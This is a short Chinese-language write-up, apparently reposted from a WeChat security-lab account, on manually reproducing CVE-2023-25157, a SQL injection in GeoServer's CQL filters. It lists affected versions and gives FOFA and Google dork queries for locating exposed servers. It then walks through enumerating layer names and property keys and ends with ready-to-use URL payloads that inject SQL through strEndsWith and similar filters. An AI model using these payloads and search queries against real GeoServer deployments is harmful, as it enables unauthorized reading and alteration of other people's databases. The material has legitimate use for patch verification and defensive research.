CVE-2023-25157
漏洞描述:
GeoServer 是一个允许用户共享和编辑地理空间数据的开源软件服务器,支持 OGC Filter expression 和 OGC Common Query Language 语言,使用 PostGIS Datastore 作为数据库。PostGIS是PostgreSQL数据库的扩展程序,增加了数据库对地理对象的支持。
GeoServer 的受影响版本的 PropertyIsLike、FeatureId、DWithin过滤器以及 strEndsWith、strStartsWith、jsonArrayContains函数未对用户传入的 sql 语句有效过滤从而存在 sql 注入漏洞,攻击者可利用此漏洞查询或修改 PostGIS Datastore 数据库中的任意数据。
影响范围:
geoserver<2.18.7
2.19.0 <= geoserver < 2.19.7
2.20.0 <= geoserver < 2.20.7
2.21.0 <= geoserver < 2.21.4
2.22.0 <= geoserver < 2.22.2
FOFA:
app="GeoServer"
Google Hack:
inurl:"/geoserver/ows?service=wfs"
漏洞复现:
1、访问如下路径,获取可用的参数(A)。<Name>标签内均可。
Pyload:/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities
2、将刚获取的任一参数(A),填入typeName的值。返回的json数据提取properties字典的键(key)后续会用到。
/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=sitcenter:xxxxxx&maxFeatures=1&outputFormat=json
3、typeName还是跟上面一样,@@位置根据利用方式填入需要的过滤器。$$$位置填入properties字典的键(key)。
受到影响的过滤器:
"strStartsWith","PropertyIsLike", "strEndsWith", "strStartsWith", "FeatureId", "jsonArrayContains", "DWithin"
Pyload:/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName= ### &CQL_FILTER= @@@ %28 $$$ %2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true
或
/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=sitcenter:xxxx&CQL_FILTER=strEndsWith(industry_id,'x'')+=+true+and+1=(SELECT+CAST+((SELECT+version())+AS+INTEGER))+--+')+=+true
原文始发于微信公众号(YongYe 安全实验室):CVE-2023-25157__手工复现__GeoServer_SQL注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论